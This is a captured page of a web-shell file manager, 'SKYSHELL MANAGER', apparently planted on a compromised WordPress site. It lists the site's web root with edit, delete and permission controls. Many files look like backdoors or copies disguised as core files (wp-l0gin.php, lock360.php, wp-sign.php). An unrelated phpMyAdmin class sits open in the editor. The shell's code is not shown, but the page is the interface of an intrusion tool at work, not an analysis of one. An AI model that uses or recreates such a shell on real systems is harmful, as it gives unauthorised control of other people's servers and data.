📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: Processes.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Server\Status; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Html\Generator; use PhpMyAdmin\Util; use function __; use function array_key_exists; use function array_keys; use function count; use function mb_strtolower; use function number_format; use function strlen; use function ucfirst; final class Processes { /** @var DatabaseInterface */ private $dbi; public function __construct(DatabaseInterface $dbi) { $this->dbi = $dbi; } /** * @param array $params Request parameters * * @return array<string, array|string|bool> */ public function getList(array $params): array { $urlParams = []; $showFullSql = ! empty($params['full']); if ($showFullSql) { $urlParams['full'] = ''; } else { $urlParams['full'] = 1; } $sqlQuery = $showFullSql ? 'SHOW FULL PROCESSLIST' : 'SHOW PROCESSLIST'; $useIS = ! empty($params['showExecuting']) || (! empty($params['order_by_field']) && ! empty($params['sort_order'])); if ($useIS) { $urlParams['order_by_field'] = $params['order_by_field']; $urlParams['sort_order'] = $params['sort_order']; $urlParams['showExecuting'] = $params['showExecuting']; $sqlQuery = 'SELECT * FROM `INFORMATION_SCHEMA`.`PROCESSLIST` '; } if (! empty($params['showExecuting'])) { $sqlQuery .= ' WHERE state != "" '; } if (! empty($params['order_by_field']) && ! empty($params['sort_order'])) { $sqlQuery .= ' ORDER BY ' . Util::backquote($params['order_by_field']) . ' ' . $params['sort_order']; } $result = $this->dbi->query($sqlQuery); $rows = []; while ($process = $result->fetchAssoc()) { // Array keys need to modify due to the way it has used // to display column values foreach (array_keys($process) as $key) { $newKey = ucfirst(mb_strtolower($key)); if ($newKey === $key) { continue; } $process[$newKey] = $process[$key]; unset($process[$key]); } $progress = ! empty($process['Progress']) ? $process['Progress'] : '---'; if ($useIS && ! empty($process['Progress'])) { $stage = array_key_exists('Stage', $process) ? (int) $process['Stage'] : null; $maxStage = array_key_exists('Max_stage', $process) ? (int) $process['Max_stage'] : null; if ($stage !== null && $maxStage !== null && $maxStage > 1) { $progress = number_format(($stage - 1) / $maxStage * 100 + ((float) $progress) / $maxStage, 3); } } $rows[] = [ 'id' => $process['Id'], 'user' => $process['User'], 'host' => $process['Host'], 'db' => ! isset($process['Db']) || strlen($process['Db']) === 0 ? '' : $process['Db'], 'command' => $process['Command'], 'time' => $process['Time'], 'state' => ! empty($process['State']) ? $process['State'] : '---', 'progress' => $progress, 'info' => ! empty($process['Info']) ? Generator::formatSql($process['Info'], ! $showFullSql) : '---', ]; } return [ 'columns' => $this->getSortableColumnsForProcessList($showFullSql, $params), 'rows' => $rows, 'refresh_params' => $urlParams, 'is_mariadb' => $this->dbi->isMariaDB(), ]; } private function getSortableColumnsForProcessList(bool $showFullSql, array $params): array { // This array contains display name and real column name of each // sortable column in the table $sortableColumns = [ [ 'column_name' => __('ID'), 'order_by_field' => 'Id', ], [ 'column_name' => __('User'), 'order_by_field' => 'User', ], [ 'column_name' => __('Host'), 'order_by_field' => 'Host', ], [ 'column_name' => __('Database'), 'order_by_field' => 'Db', ], [ 'column_name' => __('Command'), 'order_by_field' => 'Command', ], [ 'column_name' => __('Time'), 'order_by_field' => 'Time', ], [ 'column_name' => __('Status'), 'order_by_field' => 'State', ], ]; if ($this->dbi->isMariaDB()) { $sortableColumns[] = [ 'column_name' => __('Progress'), 'order_by_field' => 'Progress', ]; } $sortableColumns[] = [ 'column_name' => __('SQL query'), 'order_by_field' => 'Info', ]; $sortableColCount = count($sortableColumns); $columns = []; foreach ($sortableColumns as $columnKey => $column) { $is_sorted = ! empty($params['order_by_field']) && ! empty($params['sort_order']) && ($params['order_by_field'] == $column['order_by_field']); $column['sort_order'] = 'ASC'; if ($is_sorted && $params['sort_order'] === 'ASC') { $column['sort_order'] = 'DESC'; } if (isset($params['showExecuting'])) { $column['showExecuting'] = 'on'; } $columns[$columnKey] = [ 'name' => $column['column_name'], 'params' => $column, 'is_sorted' => $is_sorted, 'sort_order' => $column['sort_order'], 'has_full_query' => false, 'is_full' => false, ]; if (0 !== --$sortableColCount) { continue; } $columns[$columnKey]['has_full_query'] = true; if (! $showFullSql) { continue; } $columns[$columnKey]['is_full'] = true; } return $columns; } }
Save